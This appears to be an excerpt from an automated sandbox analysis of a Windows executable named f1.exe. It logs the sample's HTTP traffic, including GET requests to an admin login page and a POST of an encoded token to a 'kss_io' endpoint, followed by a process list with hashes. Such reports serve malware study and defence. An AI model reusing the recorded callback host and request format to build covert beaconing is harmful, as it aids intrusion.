74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e e7 99 be e5 ba a6 e4 b8 80 e4 b8 8b ef bc 8c e4 bd a0 e5 b0 b1 e7 9f a5 e9 81 93 2d 2d 4d 31 37 2d 50 32 37 32 20 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 e6 9c 8d e5 8a a1 e7 ab af e7 89 88 e6 9c ac 22 20 63 6f 6e 74 65 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>--M17-P272 </title><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8" /><meta name="" content="Version M17-P272" /><meta name="" content=" http://www.hphu.com QQ188372002" /><script type="text/javascript" src="/kss_inc/js/jquery.1.3.2.pack.js" charset="utf-8"></script><link rel="shortcut icon" href="/favicon.ico" /><style>a{font-size:12px;color:#666;text-decoration:none;}body{background:#ffffff url(../kss_inc/images/login_01.png)
Aug 4, 2024 10:58:10.504997969 CEST	224	IN	Data Raw: 20 72 65 70 65 61 74 2d 78 3b 7d 0d 0a 66 6f 72 6d 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 0d 0a 69 6e 70 75 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 7d 0d 0a 23 75 73 65 72 6e 61 6d 65 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: repeat-x;}form{margin:0;padding:0}input{font-size:12px}#username{background:url(../kss_inc/images/user1.png) no-repeat;border:1px solid #ccc;width:200px;height:28px;padding:0 0 0 40px;margin:0;line-height:28px;}#p
Aug 4, 2024 10:58:10.505053043 CEST	1236	IN	Data Raw: 61 73 73 77 6f 72 64 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 46 69 78 65 64 73 79 73 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 6b 73 Data Ascii: assword{font-size:12px;font-family: Fixedsys;line-height:24px;background:url(../kss_inc/images/passwordt.png) no-repeat;border:1px solid #ccc;color:#fff;width:200px;height:28px;padding:0 0 0 40px;margin:0;line-height:28px;}#input3{background
Aug 4, 2024 10:58:10.505086899 CEST	1236	IN	Data Raw: 69 6f 6e 28 29 7b 0d 0a 24 28 22 23 63 68 6b 69 6d 67 22 29 2e 61 74 74 72 28 22 73 72 63 22 2c 22 2e 2f 6c 6f 67 69 6e 69 6d 67 2e 70 68 70 3f 72 6e 64 69 64 3d 22 2b 73 54 69 6d 65 28 29 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 24 28 22 23 70 61 73 73 Data Ascii: ion(){$("#chkimg").attr("src","./loginimg.php?rndid="+sTime());});$("#password").bind("click",function(){var c1=$(this).offset();$("#psssdiv").css({top:c1.top+5,left:c1.left+40});$(this).val("");$("#psssdiv").text("");});
Aug 4, 2024 10:58:10.505127907 CEST	1156	IN	Data Raw: 6f 67 69 6e 5f 30 35 2e 70 6e 67 29 3b 22 20 77 69 64 74 68 3d 22 35 31 37 22 20 68 65 69 67 68 74 3d 22 31 39 30 22 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 22 32 33 30 22 20 68 65 69 67 68 74 3d 31 Data Ascii: ogin_05.png);" width="517" height="190" align=center><table width="230" height=100" border="0" cellpadding="0" cellspacing="0" align=center><tr><td colspan=2><input type="text" value="" name="username" id="username" maxlength="15" AUTOCO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49761	8.218.30.151	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:58:09.597048044 CEST	205	OUT	GET /kss_admin/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Host: yanzheng.appchizi.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:58:10.505790949 CEST	1236	IN	HTTP/1.1 206 Partial Content Date: Sun, 04 Aug 2024 08:58:10 GMT Content-Type: text/html;charset=utf-8 Content-Length: 4575 Connection: keep-alive X-Powered-By: PHP/5.3.29 Set-Cookie: PHPSESSID=c2c308ef5213dcd5cb8bebcada15305b; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Range: bytes 0-4574/4575 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e e7 99 be e5 ba a6 e4 b8 80 e4 b8 8b ef bc 8c e4 bd a0 e5 b0 b1 e7 9f a5 e9 81 93 2d 2d 4d 31 37 2d 50 32 37 32 20 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 e6 9c 8d e5 8a a1 e7 ab af e7 89 88 e6 9c ac 22 20 63 6f 6e 74 65 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>--M17-P272 </title><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8" /><meta name="" content="Version M17-P272" /><meta name="" content=" http://www.hphu.com QQ188372002" /><script type="text/javascript" src="/kss_inc/js/jquery.1.3.2.pack.js" charset="utf-8"></script><link rel="shortcut icon" href="/favicon.ico" /><style>a{font-size:12px;color:#666;text-decoration:none;}body{background:#ffffff url(../kss_inc/images/login_01.png) repeat-x;}form{margin:0;padding:0}input{font-size:12px}#username{bac
Aug 4, 2024 10:58:10.505821943 CEST	188	IN	Data Raw: 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 6b 73 73 5f 69 6e 63 2f 69 6d 61 67 65 73 2f 75 73 65 72 31 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 77 69 64 74 68 3a 32 30 30 Data Ascii: kground:url(../kss_inc/images/user1.png) no-repeat;border:1px solid #ccc;width:200px;height:28px;padding:0 0 0 40px;margin:0;line-height:28px;}#password{font-size:12px;font-family: Fix
Aug 4, 2024 10:58:10.521595001 CEST	1236	IN	Data Raw: 65 64 73 79 73 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 6b 73 73 5f 69 6e 63 2f 69 6d 61 67 65 73 2f 70 61 73 73 77 6f 72 64 74 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 62 Data Ascii: edsys;line-height:24px;background:url(../kss_inc/images/passwordt.png) no-repeat;border:1px solid #ccc;color:#fff;width:200px;height:28px;padding:0 0 0 40px;margin:0;line-height:28px;}#input3{background:url(../kss_inc/images/password2.png) n
Aug 4, 2024 10:58:10.521651983 CEST	1236	IN	Data Raw: 6e 69 6d 67 2e 70 68 70 3f 72 6e 64 69 64 3d 22 2b 73 54 69 6d 65 28 29 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 24 28 22 23 70 61 73 73 77 6f 72 64 22 29 2e 62 69 6e 64 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 76 61 72 20 63 31 Data Ascii: nimg.php?rndid="+sTime());});$("#password").bind("click",function(){var c1=$(this).offset();$("#psssdiv").css({top:c1.top+5,left:c1.left+40});$(this).val("");$("#psssdiv").text("");});$("#password").bind("keyup",function(){
Aug 4, 2024 10:58:10.521684885 CEST	376	IN	Data Raw: 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 22 32 33 30 22 20 68 65 69 67 68 74 3d 31 30 30 22 20 62 6f 72 64 65 72 3d 22 30 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 30 22 20 63 65 6c 6c 73 70 61 63 Data Ascii: align=center><table width="230" height=100" border="0" cellpadding="0" cellspacing="0" align=center><tr><td colspan=2><input type="text" value="" name="username" id="username" maxlength="15" AUTOCOMPLETE="off"><br><br></td></tr><tr>
Aug 4, 2024 10:58:10.608237028 CEST	741	IN	Data Raw: 72 3e 0d 0a 3c 74 64 20 63 6f 6c 73 70 61 6e 3d 32 20 61 6c 69 67 6e 3d 6c 65 66 74 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 6c 6f 67 69 6e 69 6d 67 22 20 6d 61 78 6c 65 6e 67 74 68 3d 22 36 22 20 41 55 54 4f Data Ascii: r><td colspan=2 align=left><input type="text" name="loginimg" maxlength="6" AUTOCOMPLETE="off" id="input3"><div style="position:relative;"><img id="chkimg" src="./loginimg.php?rndid=1722761890"></div></td></tr><tr><td width=120 nowarp>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49763	47.242.126.205	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:58:09.617516994 CEST	205	OUT	GET /kss_admin/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Host: yanzheng.appchizi.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:58:10.535089016 CEST	1236	IN	HTTP/1.1 206 Partial Content Date: Sun, 04 Aug 2024 08:58:10 GMT Content-Type: text/html;charset=utf-8 Content-Length: 4575 Connection: keep-alive X-Powered-By: PHP/5.3.29 Set-Cookie: PHPSESSID=893135503d760027d9651770816a3bef; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Range: bytes 0-4574/4575 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e e7 99 be e5 ba a6 e4 b8 80 e4 b8 8b ef bc 8c e4 bd a0 e5 b0 b1 e7 9f a5 e9 81 93 2d 2d 4d 31 37 2d 50 32 37 32 20 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 e6 9c 8d e5 8a a1 e7 ab af e7 89 88 e6 9c ac 22 20 63 6f 6e 74 65 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>--M17-P272 </title><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8" /><meta name="" content="Version M17-P272" /><meta name="" content=" http://www.hphu.com QQ188372002" /><script type="text/javascript" src="/kss_inc/js/jquery.1.3.2.pack.js" charset="utf-8"></script><link rel="shortcut icon" href="/favicon.ico" /><style>a{font-size:12px;color:#666;text-decoration:none;}body{background:#ffffff url(../kss_inc/images/login_01.png) repeat-x;}form{margin:0;padding:0}input{font-size:12px}#username{bac
Aug 4, 2024 10:58:10.535119057 CEST	188	IN	Data Raw: 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 6b 73 73 5f 69 6e 63 2f 69 6d 61 67 65 73 2f 75 73 65 72 31 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 77 69 64 74 68 3a 32 30 30 Data Ascii: kground:url(../kss_inc/images/user1.png) no-repeat;border:1px solid #ccc;width:200px;height:28px;padding:0 0 0 40px;margin:0;line-height:28px;}#password{font-size:12px;font-family: Fix
Aug 4, 2024 10:58:10.549510002 CEST	1236	IN	Data Raw: 65 64 73 79 73 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 6b 73 73 5f 69 6e 63 2f 69 6d 61 67 65 73 2f 70 61 73 73 77 6f 72 64 74 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 62 Data Ascii: edsys;line-height:24px;background:url(../kss_inc/images/passwordt.png) no-repeat;border:1px solid #ccc;color:#fff;width:200px;height:28px;padding:0 0 0 40px;margin:0;line-height:28px;}#input3{background:url(../kss_inc/images/password2.png) n
Aug 4, 2024 10:58:10.549544096 CEST	1236	IN	Data Raw: 6e 69 6d 67 2e 70 68 70 3f 72 6e 64 69 64 3d 22 2b 73 54 69 6d 65 28 29 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 24 28 22 23 70 61 73 73 77 6f 72 64 22 29 2e 62 69 6e 64 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 76 61 72 20 63 31 Data Ascii: nimg.php?rndid="+sTime());});$("#password").bind("click",function(){var c1=$(this).offset();$("#psssdiv").css({top:c1.top+5,left:c1.left+40});$(this).val("");$("#psssdiv").text("");});$("#password").bind("keyup",function(){
Aug 4, 2024 10:58:10.549596071 CEST	376	IN	Data Raw: 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 22 32 33 30 22 20 68 65 69 67 68 74 3d 31 30 30 22 20 62 6f 72 64 65 72 3d 22 30 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 30 22 20 63 65 6c 6c 73 70 61 63 Data Ascii: align=center><table width="230" height=100" border="0" cellpadding="0" cellspacing="0" align=center><tr><td colspan=2><input type="text" value="" name="username" id="username" maxlength="15" AUTOCOMPLETE="off"><br><br></td></tr><tr>
Aug 4, 2024 10:58:10.637932062 CEST	741	IN	Data Raw: 72 3e 0d 0a 3c 74 64 20 63 6f 6c 73 70 61 6e 3d 32 20 61 6c 69 67 6e 3d 6c 65 66 74 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 6c 6f 67 69 6e 69 6d 67 22 20 6d 61 78 6c 65 6e 67 74 68 3d 22 36 22 20 41 55 54 4f Data Ascii: r><td colspan=2 align=left><input type="text" name="loginimg" maxlength="6" AUTOCOMPLETE="off" id="input3"><div style="position:relative;"><img id="chkimg" src="./loginimg.php?rndid=1722761890"></div></td></tr><tr><td width=120 nowarp>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49762	8.212.11.147	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:58:09.617516994 CEST	205	OUT	GET /kss_admin/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Host: yanzheng.appchizi.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:58:10.552587986 CEST	1236	IN	HTTP/1.1 206 Partial Content Date: Sun, 04 Aug 2024 08:58:10 GMT Server: Apache/2.4.10 (Debian) PHP/5.3.29 X-Powered-By: PHP/5.3.29 Set-Cookie: PHPSESSID=025271e5dba3bcdbec6a6c6474ae69d7; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Range: bytes 0-4574/4575 Content-Length: 4575 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e e7 99 be e5 ba a6 e4 b8 80 e4 b8 8b ef bc 8c e4 bd a0 e5 b0 b1 e7 9f a5 e9 81 93 2d 2d 4d 31 37 2d 50 32 37 32 20 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 e6 9c 8d e5 8a a1 e7 ab af e7 89 88 e6 9c ac 22 20 63 6f 6e 74 65 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>--M17-P272 </title><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8" /><meta name="" content="Version M17-P272" /><meta name="" content=" http://www.hphu.com QQ188372002" /><script type="text/javascript" src="/kss_inc/js/jquery.1.3.2.pack.js" charset="utf-8"></script><link rel="shortcut icon" href="/favicon.ico" /><style>a{font-size:12px;color:#666;text-decoration:none;}body{background:#ffffff url(../kss_inc/images/login_01.png)
Aug 4, 2024 10:58:10.552628994 CEST	1236	IN	Data Raw: 20 72 65 70 65 61 74 2d 78 3b 7d 0d 0a 66 6f 72 6d 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 0d 0a 69 6e 70 75 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 7d 0d 0a 23 75 73 65 72 6e 61 6d 65 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: repeat-x;}form{margin:0;padding:0}input{font-size:12px}#username{background:url(../kss_inc/images/user1.png) no-repeat;border:1px solid #ccc;width:200px;height:28px;padding:0 0 0 40px;margin:0;line-height:28px;}#password{font-size:1
Aug 4, 2024 10:58:10.552684069 CEST	1236	IN	Data Raw: 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 69 6d 67 74 69 6d 65 3d 73 54 69 6d 65 28 29 3b 0d 0a 24 28 22 23 69 6e 70 75 74 33 22 29 2e 62 69 6e 64 28 22 66 6f 63 75 73 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 69 66 28 73 Data Ascii: ).ready(function(){imgtime=sTime();$("#input3").bind("focus",function(){if(sTime()-imgtime>50*1000){$("#chkimg").attr("src","./loginimg.php?rndid="+sTime());imgtime=sTime();}});$("#chkimg").bind("click",function(){$("#chkimg"
Aug 4, 2024 10:58:10.552716970 CEST	1236	IN	Data Raw: 2f 6c 6f 67 69 6e 5f 30 33 2e 70 6e 67 29 3b 22 20 20 77 69 64 74 68 3d 22 35 31 37 22 20 68 65 69 67 68 74 3d 22 32 33 39 22 3e 26 6e 62 73 70 3b 3c 2f 74 64 3e 0d 0a 3c 74 64 20 72 6f 77 73 70 61 6e 3d 22 33 22 20 73 74 79 6c 65 3d 22 62 61 63 Data Ascii: /login_03.png);" width="517" height="239"> </td><td rowspan="3" style="background:url(../kss_inc/images/login_04.png);" width="215" height="560"> </td></tr><tr><td style="background:url(../kss_inc/images/login_05.png);" widt
Aug 4, 2024 10:58:10.552771091 CEST	144	IN	Data Raw: 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 64 69 76 20 69 64 3d 27 70 73 73 73 64 69 76 27 3e e8 af b7 e8 be 93 e5 85 a5 e5 af 86 e7 a0 81 ef bc 8c e6 94 af e6 8c 81 e4 b8 ad e6 96 87 3c 2f 64 69 76 3e 3c 64 69 76 20 69 Data Ascii: td></tr></table><div id='psssdiv'></div><div id="psssdiv2"></div><script></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49764	8.218.87.7	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:58:11.624485970 CEST	375	OUT	POST /kss_io/io.php?v=13&b=1&s=10000099&e=get&line=1kstoken80597805589 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Accept-Language: zh-cn Referer: http://yanzheng.appchizi.com/ User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; ) Content-Length: 126 Host: yanzheng.appchizi.com
Aug 4, 2024 10:58:11.624485970 CEST	126	OUT	Data Raw: 6d 3d 30 36 45 42 33 41 39 43 35 38 46 32 31 32 36 32 35 44 44 35 42 35 33 45 38 34 31 32 35 32 32 36 26 6f 3d 5f 44 61 74 61 7a 54 6d 33 36 6c 45 62 79 50 67 79 70 68 61 32 50 48 43 71 7c 52 4e 6f 43 34 6c 35 71 4a 32 6d 33 70 6b 64 71 4d 33 44 Data Ascii: m=06EB3A9C58F212625DD5B53E84125226&o=_DatazTm36lEbyPgypha2PHCq\|RNoC4l5qJ2m3pkdqM3Dtv6xAEYsVYJElx7O00hB4ZMcwdXYA\|m45Y6WHvVZAJU=
Aug 4, 2024 10:58:12.525072098 CEST	435	IN	HTTP/1.1 200 OK Date: Sun, 04 Aug 2024 08:58:12 GMT Server: Apache/2.4.10 (Debian) PHP/5.3.29 X-Powered-By: PHP/5.3.29 Vary: Accept-Encoding Content-Length: 171 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=utf-8 Data Raw: 3c 78 6d 6c 3e 3c 73 74 61 74 65 3e 31 30 30 3c 2f 73 74 61 74 65 3e 3c 6d 65 73 73 61 67 65 3e e5 8f 96 e8 bd af e4 bb b6 e4 bf a1 e6 81 af e6 88 90 e5 8a 9f 3c 2f 6d 65 73 73 61 67 65 3e 3c 75 70 73 65 74 3e 30 3c 2f 75 70 73 65 74 3e 3c 73 6f 66 74 76 65 72 3e 31 3c 2f 73 6f 66 74 76 65 72 3e 3c 73 6f 66 74 64 6f 77 6e 75 72 6c 3e 68 74 74 70 3a 2f 2f 3c 2f 73 6f 66 74 64 6f 77 6e 75 72 6c 3e 3c 79 7a 70 6c 3e 31 35 3c 2f 79 7a 70 6c 3e 3c 73 6f 66 74 67 67 3e 3c 2f 73 6f 66 74 67 67 3e 3c 2f 78 6d 6c 3e Data Ascii: <xml><state>100</state><message></message><upset>0</upset><softver>1</softver><softdownurl>http://</softdownurl><yzpl>15</yzpl><softgg></softgg></xml>

Target ID:	0
Start time:	04:57:09
Start date:	04/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:57:09
Start date:	04/08/2024
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff67fe10000
File size:	329'504 bytes
MD5 hash:	3BA1A18A0DC30A0545E7765CB97D8E63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	04:57:09
Start date:	04/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	04:57:09
Start date:	04/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	04:57:09
Start date:	04/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	04:57:09
Start date:	04/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	04:57:10
Start date:	04/08/2024
Path:	C:\Users\user\Desktop\f1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\f1.exe"
Imagebase:	0xf50000
